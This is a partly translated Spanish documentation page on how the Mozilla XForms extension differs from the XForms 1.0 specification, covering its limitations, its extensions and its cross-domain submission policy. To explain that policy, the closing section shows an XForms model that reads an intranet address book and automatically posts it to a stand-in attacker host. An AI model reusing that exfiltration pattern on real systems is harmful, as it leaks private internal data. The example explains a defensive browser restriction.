Esta página está traduciéndose a partir del artículo XForms:Mozilla XForms Specials, razón por la cual puede haber algunos errores sintácticos o partes sin traducir. Puedes colaborar continuando con la traducción
Introducción
Este artículo dá una vista rápida sobre "dónde" se desvía la extensión Mozilla XForms respecto de la especificación oficial XForms 1.0 . Esto cubre ambas limitaciones, en la extensión y en extensiones personalizadas.
Limitaciones
Repetir usando atributos
Las especificaciones hacen mención ha "Creating Repeating Structures Via Attributes", esto es parcialmente soportadas.
(limitación registrada en bug 280368)
Combinando Repeat y table
ó ul
No es posible combinar repeat ní con table
ó ul. Esto significa que NO ES POSIBLE hacer lo siguiente:
<table> <xf:repeat ...> <tr> ... </tr> </xf:repeat> </table>
ó
<ul> <xf:repeat ...> <li> ... </li> </xf:repeat> </ul>
La sección 9.3.2 establece que las combinaciones con table probablemente nunca funcionarán. Las combinaciones con ul deben sufrir la misma limitación, aunque no deberían producir errores fatales como tampoco lo hace (bug 330022).
Soporte para Pseudo Clases
Actualmente soportamos todas las Pseudo Clases en XForms (:enabled, :disabled
, etc. ), a excepción de :read-only
y :read-write
, por no tener un comportamiento no específico para (X)HTML. En su lugar se debe usar:-moz-read-only
and :-moz-read-write
, por el momento.
(limitación registrada en bug 313111)
Soporte de pseudo elementos
No se soportan los pseudo elementos (::value, ::repeat-item, y ::repeat-index
). En su lugar se deben usar las siguientes clases:
xf-value
xf-repeat-item
xf-repeat-index
Por ejemplo, para tomar el valor de un control input
, hay que usar:
@namespace xf url("https://www.w3.org/2002/xforms"); xf|input .xf-value { ... }
Los pseudo elementos están definidos en la Especificación de Interfaz Básico para el Usuario CSS3 .
(Limitation registrada en bug 271724)
Extensiones
Enumerando instancias
El elemento estandarizado nsIXFormsModelElement no permite enumerar todas las posibles instancias, sino sólo recuperar instancias por sus nombres. En la Extensión XForms de Mozilla hemos añadido una función getInstanceDocuments()
a el modelo que retorna todas las instancias modelo del documento. Esto está documentado en nsIXFormsNSModelElement.
Obteniendo un elemento de instancia desde un nodo de dato
En la especificación XForms 1.0 no hay manera de conseguir el elemento instance
desde la instancia de un nodo de dato. Hemos añadido una función a través de un llamado tipo getFeature()
para cada nodo, lo que permite al autor del formulario hacer eso. Es decir: si instanceNode
es un nodo dentro una instancia de un documento, entonces:
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
devolverá el elemento <instance>
(dentro del documento principal) al cual pertenece el nodo.
Llegar a la instancia de documento desde la instancia de elemento
Según la especificación XForms 1.0 hay que usar el elemento model
para obtener la instance del documento. Parece un poco torpe, cuando ya se dispone del elemento instance
, así que hemos añadido una función getInstanceDocument()
directamente en el elemento instance
como un atajo. Esto está documentado en nsIXFormsNSInstanceElement.
Interfaz de control del usuario
Hemos añadido mucha funcionalidad a nuestro interfaz de usuario, lo cual permite al autor del formulario crear sus propios controles de usuario. Ello implica publicar algo de funcionalidad (en un script) en todos nuestros controles, como output
, input
, etc., y permitir que el interfaz de usuario se represente en XBL. Más información en XForms:Custom Controls.
Misc
Envíos cruzados a dominios
No es exactamente una limitación ni una extensión, pero es importante mencionarlo aquí. Por razones de seguridad, por fallo no es posible para un XForms enviar datos a otro dominio. Esto se por razones de seguridad. Información de como hacer una lista de confianza puede ser encontrada en la sección Release Notes
El chequeo de envío entre dominios además incluye formas cargadas desde file://
. Las formas cargadas desde esa URL deberían ser archivos locales y de confianza, pero no siempre son el caso. Por esto no hay listas de confianza automáticas de archivos locales.
Si estás preguntándote porqué tenemos esta restricción, aquí hay un simple ejemplo del porqué:
<xforms:model> <xforms:instance src="https://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="https://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model>
Esto traería algo que es accesible únicamente para tí (p.e. detrás de un cortafuegos) https://intranetserver/addrbook.xml
, luego enviarlo a https://megaspammer.com/gather
tan pronto como veas la XForm.